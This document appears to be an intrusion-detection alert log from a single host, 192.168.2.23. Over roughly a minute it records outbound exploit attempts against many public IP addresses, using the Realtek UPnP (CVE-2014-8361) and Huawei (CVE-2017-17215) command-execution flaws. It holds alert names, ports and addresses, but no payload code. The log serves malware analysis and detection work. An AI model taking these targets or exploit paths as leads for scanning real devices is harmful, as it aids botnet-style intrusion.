07/20/24-23:01:04.050503	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	38646	37215	192.168.2.23	157.139.23.30
07/20/24-23:01:02.432131	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	33560	52869	192.168.2.23	8.98.158.174
07/20/24-23:01:24.916250	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	59300	37215	192.168.2.23	41.119.245.174
07/20/24-23:01:27.653309	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	56710	37215	192.168.2.23	197.70.205.23
07/20/24-23:01:51.056493	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	36906	52869	192.168.2.23	70.101.195.243
07/20/24-23:01:43.895587	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	33518	52869	192.168.2.23	57.222.50.62
07/20/24-23:01:42.930628	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	40272	52869	192.168.2.23	155.96.29.107
07/20/24-23:01:48.386032	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	54594	52869	192.168.2.23	27.248.134.22
07/20/24-23:01:01.473903	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	52872	52869	192.168.2.23	173.57.134.38
07/20/24-23:01:42.670071	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	55124	52869	192.168.2.23	197.159.127.103
07/20/24-23:01:48.108304	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	43398	52869	192.168.2.23	91.225.198.252
07/20/24-23:01:08.598416	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	38364	52869	192.168.2.23	2.10.234.63
07/20/24-23:01:41.488676	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	47140	52869	192.168.2.23	70.133.231.223
07/20/24-23:01:42.325814	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	35148	52869	192.168.2.23	192.18.152.238
07/20/24-23:01:46.247879	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	45630	52869	192.168.2.23	131.27.111.80
07/20/24-23:01:45.096837	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	41926	52869	192.168.2.23	167.73.249.89
07/20/24-23:01:24.862410	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	51818	37215	192.168.2.23	197.233.164.3
07/20/24-23:01:06.975117	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	45108	37215	192.168.2.23	197.162.44.242
07/20/24-23:01:42.703494	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	46836	52869	192.168.2.23	130.201.79.70
07/20/24-23:01:43.845332	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	36896	52869	192.168.2.23	137.51.1.150
07/20/24-23:01:02.083467	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	60660	37215	192.168.2.23	41.229.154.58
07/20/24-23:01:42.915640	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	32862	52869	192.168.2.23	12.188.189.35
07/20/24-23:01:41.290281	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	60796	52869	192.168.2.23	52.64.207.91
07/20/24-23:01:56.327422	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	52236	52869	192.168.2.23	64.44.223.6
07/20/24-23:01:13.811792	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	37034	52869	192.168.2.23	151.154.71.43
07/20/24-23:01:08.638880	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	38024	52869	192.168.2.23	103.18.195.93
07/20/24-23:01:25.476673	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	39008	52869	192.168.2.23	146.105.181.156
07/20/24-23:01:47.342227	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	38380	52869	192.168.2.23	105.139.214.54
07/20/24-23:01:44.855022	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	35600	52869	192.168.2.23	203.80.83.187
07/20/24-23:00:59.203960	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	37906	37215	192.168.2.23	41.53.184.177
07/20/24-23:01:10.691725	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	52688	52869	192.168.2.23	166.63.2.220
07/20/24-23:01:42.622797	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	50476	52869	192.168.2.23	173.58.223.243
07/20/24-23:01:44.481011	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	43510	52869	192.168.2.23	153.239.16.237
07/20/24-23:01:08.598416	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	57734	52869	192.168.2.23	183.49.28.217
07/20/24-23:01:34.048618	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	58204	37215	192.168.2.23	41.241.253.254
07/20/24-23:01:45.034156	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	58954	52869	192.168.2.23	132.191.84.86
07/20/24-23:02:09.758048	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	53308	52869	192.168.2.23	164.236.61.179
07/20/24-23:01:52.286078	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	55492	52869	192.168.2.23	190.122.87.133
07/20/24-23:02:48.156942	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	46730	52869	192.168.2.23	159.73.240.193
07/20/24-23:01:43.918137	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	35604	52869	192.168.2.23	199.106.155.17
07/20/24-23:01:02.426129	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	48472	52869	192.168.2.23	203.236.42.147
07/20/24-23:01:48.855306	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	59376	52869	192.168.2.23	152.241.189.22
07/20/24-23:01:49.703914	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	41410	52869	192.168.2.23	126.214.32.228
07/20/24-23:01:41.290518	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	41866	52869	192.168.2.23	12.129.173.144
07/20/24-23:01:54.835427	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	51488	52869	192.168.2.23	105.84.86.167
07/20/24-23:01:41.295717	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	41290	52869	192.168.2.23	175.125.31.24
07/20/24-23:01:12.813695	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	57422	52869	192.168.2.23	112.132.188.245
07/20/24-23:01:41.286911	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	52456	52869	192.168.2.23	54.140.169.156
07/20/24-23:01:20.126052	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	38742	37215	192.168.2.23	157.202.161.192
07/20/24-23:01:20.591702	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	35926	52869	192.168.2.23	191.208.79.121
07/20/24-23:01:44.826234	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	42172	52869	192.168.2.23	5.118.234.148
07/20/24-23:01:08.663244	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	41736	52869	192.168.2.23	119.8.134.128
07/20/24-23:01:52.081188	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	40076	52869	192.168.2.23	2.18.140.250
07/20/24-23:01:53.068033	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	37484	52869	192.168.2.23	125.227.195.47
07/20/24-23:00:59.163619	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	50560	37215	192.168.2.23	157.213.175.190
07/20/24-23:01:41.637960	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	40706	52869	192.168.2.23	95.50.29.160
07/20/24-23:02:08.008782	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	37426	52869	192.168.2.23	133.167.87.211
07/20/24-23:01:27.655551	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	54210	37215	192.168.2.23	197.122.89.119
07/20/24-23:01:08.578116	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	44384	52869	192.168.2.23	159.20.45.153
07/20/24-23:01:59.593868	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	46206	52869	192.168.2.23	42.127.253.166
07/20/24-23:01:51.244491	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	45482	52869	192.168.2.23	202.112.172.229
07/20/24-23:01:04.802341	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	35090	52869	192.168.2.23	99.2.133.89
07/20/24-23:02:08.781934	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	42460	52869	192.168.2.23	14.40.33.153
07/20/24-23:01:00.633744	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	37642	37215	192.168.2.23	157.54.130.2
07/20/24-23:01:44.565131	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	41940	52869	192.168.2.23	179.51.3.253
07/20/24-23:02:06.813916	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	34864	52869	192.168.2.23	185.209.39.214
07/20/24-23:01:31.312736	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	45590	52869	192.168.2.23	111.38.32.209
07/20/24-23:01:43.175740	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	53954	52869	192.168.2.23	162.142.171.159
07/20/24-23:01:45.980258	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	32840	52869	192.168.2.23	97.24.147.38
07/20/24-23:01:47.808098	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	44152	52869	192.168.2.23	49.245.141.79
07/20/24-23:01:25.974900	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	39232	52869	192.168.2.23	84.102.198.205
07/20/24-23:01:57.720327	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	49880	52869	192.168.2.23	70.7.126.6
07/20/24-23:01:07.066373	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	40944	37215	192.168.2.23	41.137.223.0
07/20/24-23:01:58.624224	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	54392	52869	192.168.2.23	101.35.135.206
07/20/24-23:01:42.751499	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	48762	52869	192.168.2.23	62.0.251.178
07/20/24-23:01:53.059915	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	47832	52869	192.168.2.23	19.90.99.238
07/20/24-23:01:45.713934	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	47396	52869	192.168.2.23	8.220.8.58
07/20/24-23:01:56.910590	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	37840	52869	192.168.2.23	86.115.200.136
07/20/24-23:01:47.748808	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	33308	52869	192.168.2.23	145.1.23.220
07/20/24-23:01:46.125172	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	56968	52869	192.168.2.23	115.176.151.108
07/20/24-23:01:34.050313	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	37428	37215	192.168.2.23	218.167.11.105
07/20/24-23:01:44.546338	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	57954	52869	192.168.2.23	203.253.92.60
07/20/24-23:01:51.932550	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	35906	52869	192.168.2.23	203.130.71.37
07/20/24-23:01:42.142802	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	46616	52869	192.168.2.23	209.170.78.160
07/20/24-23:01:55.384732	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	51482	52869	192.168.2.23	178.69.5.63
07/20/24-23:00:59.211046	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	33444	37215	192.168.2.23	197.168.86.78
07/20/24-23:01:03.942398	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	34136	52869	192.168.2.23	65.114.239.111
07/20/24-23:01:12.807585	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	37972	52869	192.168.2.23	2.129.228.59
07/20/24-23:01:42.027932	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	40596	52869	192.168.2.23	130.186.238.85
07/20/24-23:01:44.320661	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	34236	52869	192.168.2.23	218.234.180.136
07/20/24-23:01:02.048113	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	42374	37215	192.168.2.23	61.78.107.95
07/20/24-23:01:43.328791	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	49800	52869	192.168.2.23	41.199.13.54
07/20/24-23:01:45.143033	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	37250	52869	192.168.2.23	57.114.247.43
07/20/24-23:01:53.354788	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	40962	52869	192.168.2.23	89.150.205.193
07/20/24-23:01:08.939279	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	33890	52869	192.168.2.23	133.66.91.121
07/20/24-23:01:52.161851	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	50178	52869	192.168.2.23	194.242.148.126
07/20/24-23:01:04.098909	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	46330	37215	192.168.2.23	41.250.23.107
07/20/24-23:01:08.629616	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	44946	52869	192.168.2.23	180.155.132.167
07/20/24-23:01:27.650643	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	50680	37215	192.168.2.23	41.32.198.246
07/20/24-23:01:50.001370	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	36896	52869	192.168.2.23	96.24.157.5
07/20/24-23:00:57.222523	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	49446	37215	192.168.2.23	199.229.94.109
07/20/24-23:01:11.818830	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	47376	37215	192.168.2.23	41.201.122.237
07/20/24-23:01:50.065539	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	34878	52869	192.168.2.23	34.116.171.252
07/20/24-23:01:04.031511	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	35524	37215	192.168.2.23	197.231.152.31
07/20/24-23:01:08.630327	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	46392	52869	192.168.2.23	38.158.187.83
07/20/24-23:01:12.853279	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	52536	52869	192.168.2.23	223.86.47.43
07/20/24-23:01:45.521019	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	34432	52869	192.168.2.23	37.165.17.202
07/20/24-23:01:47.562957	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	37252	52869	192.168.2.23	47.13.214.247
07/20/24-23:01:34.050313	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	43576	37215	192.168.2.23	206.22.143.145
07/20/24-23:01:20.591702	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	40612	52869	192.168.2.23	94.32.208.135
07/20/24-23:01:24.876750	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	37540	37215	192.168.2.23	197.170.255.190
07/20/24-23:01:53.132473	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	43602	52869	192.168.2.23	110.244.30.5
07/20/24-23:01:26.115620	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	51190	52869	192.168.2.23	60.163.17.129
07/20/24-23:01:43.498156	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	47550	52869	192.168.2.23	45.122.145.145
07/20/24-23:01:42.683079	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	38692	52869	192.168.2.23	51.209.215.233
07/20/24-23:01:44.439012	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	48844	52869	192.168.2.23	108.225.154.233
07/20/24-23:01:01.404325	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	54976	52869	192.168.2.23	151.5.114.8
07/20/24-23:01:44.340422	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	39600	52869	192.168.2.23	123.6.144.179
07/20/24-23:01:41.305474	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	50966	52869	192.168.2.23	39.181.131.100
07/20/24-23:01:46.571223	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	34950	52869	192.168.2.23	132.171.123.209
07/20/24-23:01:40.321300	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	54292	37215	192.168.2.23	197.176.61.239
07/20/24-23:01:48.901809	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	34252	52869	192.168.2.23	67.14.83.223
07/20/24-23:01:51.576561	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	49878	52869	192.168.2.23	102.31.132.7
07/20/24-23:01:47.455724	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	60998	52869	192.168.2.23	38.85.208.126
07/20/24-23:01:51.835178	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	38042	52869	192.168.2.23	64.111.30.226
07/20/24-23:01:03.270954	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	41386	52869	192.168.2.23	78.200.30.164
07/20/24-23:01:43.084243	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	49044	52869	192.168.2.23	128.197.233.56
07/20/24-23:01:49.033216	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	47750	52869	192.168.2.23	1.7.30.66
07/20/24-23:01:24.882291	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	49764	37215	192.168.2.23	41.253.111.233
07/20/24-23:01:08.639622	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	50874	52869	192.168.2.23	203.236.42.147
07/20/24-23:01:47.117979	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	37426	52869	192.168.2.23	62.238.174.13
07/20/24-23:01:14.146543	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	45488	52869	192.168.2.23	178.124.248.177
07/20/24-23:01:52.720788	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	56934	52869	192.168.2.23	161.89.104.148
07/20/24-23:01:51.086033	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	59050	52869	192.168.2.23	193.18.125.219
07/20/24-23:01:03.834044	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	57978	52869	192.168.2.23	128.89.159.185
07/20/24-23:01:05.000501	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	39416	52869	192.168.2.23	4.114.3.131
07/20/24-23:01:41.328263	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	35892	52869	192.168.2.23	106.27.196.147
07/20/24-23:01:34.060991	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	47632	37215	192.168.2.23	157.1.189.223
07/20/24-23:01:40.279669	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	43798	37215	192.168.2.23	197.215.73.79
07/20/24-23:01:44.455702	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	45688	52869	192.168.2.23	207.214.48.137
07/20/24-23:01:51.875785	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	54080	52869	192.168.2.23	76.116.108.138
07/20/24-23:01:56.991428	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	53144	52869	192.168.2.23	63.226.8.25
07/20/24-23:01:59.449569	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	48850	52869	192.168.2.23	57.22.35.81
07/20/24-23:01:43.918790	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	58112	52869	192.168.2.23	17.63.153.183
07/20/24-23:01:56.579360	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	39336	52869	192.168.2.23	120.153.158.217
07/20/24-23:01:44.950737	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	51886	52869	192.168.2.23	221.199.165.178
07/20/24-23:01:52.972472	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	60870	52869	192.168.2.23	129.173.36.90
07/20/24-23:01:46.025818	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	44458	52869	192.168.2.23	84.203.232.104
07/20/24-23:01:41.383466	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	48316	52869	192.168.2.23	103.68.36.118
07/20/24-23:01:24.933370	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	41828	37215	192.168.2.23	181.98.41.184
07/20/24-23:01:34.060991	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	43312	37215	192.168.2.23	63.249.161.117
07/20/24-23:01:34.062277	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	54054	37215	192.168.2.23	160.103.123.17
07/20/24-23:01:43.450134	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	50512	52869	192.168.2.23	223.103.54.206
07/20/24-23:01:57.762774	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	58250	52869	192.168.2.23	60.220.21.170
07/20/24-23:01:42.979245	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	34166	52869	192.168.2.23	27.36.59.232
07/20/24-23:01:04.118165	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	37384	37215	192.168.2.23	157.86.217.223
07/20/24-23:01:43.994464	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	43924	52869	192.168.2.23	2.84.107.116
07/20/24-23:01:42.702732	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	49674	52869	192.168.2.23	80.70.75.159
07/20/24-23:02:13.086086	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	38684	52869	192.168.2.23	48.17.76.254
07/20/24-23:01:02.328384	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	51596	52869	192.168.2.23	195.184.165.232
07/20/24-23:01:11.635828	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	42574	37215	192.168.2.23	157.185.20.188
07/20/24-23:01:31.322217	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	40590	52869	192.168.2.23	117.200.16.247
07/20/24-23:01:41.337240	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	57208	52869	192.168.2.23	160.40.68.243
07/20/24-23:01:42.571884	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	47800	52869	192.168.2.23	190.100.221.147
07/20/24-23:01:44.698984	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	59242	52869	192.168.2.23	13.31.40.78
07/20/24-23:01:53.697003	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	34624	52869	192.168.2.23	192.45.244.106
07/20/24-23:02:12.267183	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	42036	52869	192.168.2.23	87.152.13.65
